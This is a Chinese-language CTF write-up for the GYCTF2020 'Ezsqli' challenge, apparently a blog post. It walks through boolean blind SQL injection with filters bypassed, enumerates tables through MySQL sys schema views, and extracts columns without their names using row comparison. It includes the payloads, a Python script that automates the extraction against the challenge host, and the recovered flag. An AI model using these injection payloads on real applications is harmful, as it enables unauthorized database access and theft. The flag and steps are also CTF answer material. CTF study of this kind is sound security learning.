[GYCTF2020]Ezsqli

知识点

基于布尔型盲注
无字段名注入

审题

👴😀🌶 出题人整的一手好🔥
简洁的sql注入题 老样子 令人绝望的过滤 在我发现if被过滤的时候 本来以为bool盲注走不了 但是后来想起来bool盲注可以不要if 这里贴上爆数据库的payload

1
1^(ascii(substr((select(database())),1,1))=103)^1     

编写脚本爆出数据库 这个脚本很常规就不贴了 这个脚本都不会写的人也做不到这题
然后是爆表 发现information.schema被过滤了(实际上是or被过滤的死死的 这个靠积累可以绕过 有两种方法 挑一个就行

1
2
1&&ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),1,1))=103
2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}.format()

不得不说 这个表的名字有丶鬼畜 得到了flag所在表为f1ag_1s_h3r3_hhhhh 好了现在问题来了 我们如果group_concat爆值 那么就需要知道f1ag_1s_h3r3_hhhhh这个表里面 flag所在字段的名字 然而我们不知道 并且联合注入应该也是被过滤了 并且information.schema也被过滤了 貌似在不知道字段名的情况下没办法注入

  • 解题
    参考dalao的wp
    先贴上payload
    1
    2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))
    我通过一个例子来解释这句payload 大于号左右两边的字符串进行比较 如果左边的字符串比较大 那么返回1 如果右边的比较大则返回0 什么是字符串比较 sql里的字符串比较和c++里的一样 再次不多赘述 图中fl则不能查询成功 fm则可以 但是要注意 第一个括号里的select要匹配你所查询表的字段数 这个编写脚本的时候跑了一轮没出一个字 那就加一个字段数

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
url = 'http://9ee702ac-e8db-40ea-95d3-7e8bc914e93d.node3.buuoj.cn/index.php'
result = ''
num = 0
def add(result):
res = ''
res += result
return res
for i in range (1,60):
if (num == 1):
break
for j in range (32,127):
temp = add(result + chr(j))
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(temp)
print(payload)
data={
'id':payload,
}
r = requests.post(url,data=data)
if 'Nu1L' in r.text:
result += chr(j-1)
print(result)
break
if '}' in r.text:
num = 1
break

这边有一个要注意的地方 那就是result += chr(j-1)这一行 因为如果返回1 那么说明这个字符串比flag的大一位 所以真正的flag要-1(s 得到的flag是全大写的 题目要求小写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<iostream>
using namespace std;
int main(){
int i=0;
char a[]="FLAG{932CBD6E-3A72-40CE-9401-F24DF85289E9}";
while(a[i]!='\0'){
if(a[i]>=65 && a[i]<=90){
a[i]+=32;
}
cout<<a[i];
i++;
}
return 0;
}

得到flag

EOF